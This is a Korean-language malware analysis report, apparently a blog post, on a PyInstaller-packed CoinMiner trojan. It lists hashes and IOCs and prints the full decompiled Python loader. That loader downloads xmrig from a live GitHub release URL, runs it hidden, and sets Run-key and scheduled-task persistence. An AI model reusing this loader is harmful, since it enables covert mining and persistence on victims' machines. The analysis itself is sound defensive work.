1. 기본 정보 (Overview)

 

샘플명 8ca9120b921c6c10bbfe5d03bfe472a0b8f5db7a6d852ee88ef353b74265dc3d.exe
분류 Win32/Kepavll!rfn 
해시값 MD5 a2cf95fc130959b5b7720f0ee0b83054 / SHA1 9474b4d8c75abb5c2b5d262442f159c0d2c5222a / SHA256 8ca9120b921c6c10bbfe5d03bfe472a0b8f5db7a6d852ee88ef353b74265dc3d
발견일 2025-09-25 16:30:14 UTC
탐지 명칭 Microsoft: Trojan:Win32/Kepavll!rfn / AhnLab-V3: Trojan/Win.Agent.C5798084  
관련 IOC(요약) MD5 a2cf95fc130959b5b7720f0ee0b83054 / SHA1 9474b4d8c75abb5c2b5d262442f159c0d2c5222a / SHA256 8ca9120b921c6c10bbfe5d03bfe472a0b8f5db7a6d852ee88ef353b74265dc3d

hxxps://github[.]com/wifi4gamesscom1-dev/Happy/releases/download/ddfd/Photoshop.zip

2. 요약 (Executive Summary)

  • 사용자 몰래 비트코인 채굴 프로그램 "xmrig" 를 실행하는 CoinMiner 악성코드

3. 감염 경로 (Infection Vector)

  1. 최초 유입 경로
    • 확인 불가
  2. 유포 방식
    • PyInstaller로 컴파일 된 바이너리 사용

4. 동작 분석 (Behavioral Analysis)

 

4.1 실행 과정 (Execution Flow)

샘플 디컴파일 결과
메인 로직이 담긴 pyc 바이너리

# min.pyc 디컴파일 결과

import os
import requests
import zipfile
import ctypes
import winreg as reg
ZIP_URL = 'https://github.com/wifi4gamesscom1-dev/Happy/releases/download/ddfd/Photoshop.zip'
TARGET_FILE = 'xmrig.exe'
APP_NAME = 'ConfigUpdater'
HIDDEN_PATH = os.path.join(os.environ['LOCALAPPDATA'], 'Microsoft', 'Config')

def download_zip(url, save_path):
    os.makedirs(os.path.dirname(save_path), exist_ok=True)
    r = requests.get(url, stream=True)
    with open(save_path, 'wb') as f:
        for chunk in r.iter_content(chunk_size=8192):
            if chunk:
                pass
            else:
                f.write(chunk)
        return save_path

def extract_zip(zip_path, extract_to):
    os.makedirs(extract_to, exist_ok=True)
    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
        zip_ref.extractall(extract_to)

def run_silent(file_path):
    ctypes.windll.shell32.ShellExecuteW(None, 'open', file_path, None, None, 0)

def add_to_registry(exe_path):
    """Har login pe run karega (HKCU Run key)"""
    key = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
    reg_key = reg.OpenKey(reg.HKEY_CURRENT_USER, key, 0, reg.KEY_SET_VALUE)
    reg.SetValueEx(reg_key, APP_NAME, 0, reg.REG_SZ, exe_path)
    reg.CloseKey(reg_key)

def add_to_task_scheduler(exe_path):
    """Backup persistence agar registry fail ho"""
    task_name = APP_NAME
    cmd = f'schtasks /create /sc onlogon /tn "{task_name}" /tr "{exe_path}" /f'
    os.system(cmd)

def main():
    zip_path = os.path.join(HIDDEN_PATH, 'update.zip')
    download_zip(ZIP_URL, zip_path)
    extract_zip(zip_path, HIDDEN_PATH)
    if os.path.exists(zip_path):
        os.remove(zip_path)
    target_file_path = os.path.join(HIDDEN_PATH, TARGET_FILE)
    if os.path.exists(target_file_path):
        run_silent(target_file_path)
        add_to_registry(target_file_path)
        add_to_task_scheduler(target_file_path)
    return None
if __name__ == '__main__':
    main()

Photoshop.zip 내용물
pool_mine_example.cmd
solo_mine_example

 

4.2 지속성 (Persistence)

  • 레지스트리 Run 키에 원본 파일의 경로를 등록하여 지속성을 확보한다.
  • 작업 스케줄러의 "onlogon" 이벤트에 원본 파일의 경로를 등록하여 지속성을 확보한다.

4.3 네트워크 통신 (C2 Communication)

  • x

 

+ Recent posts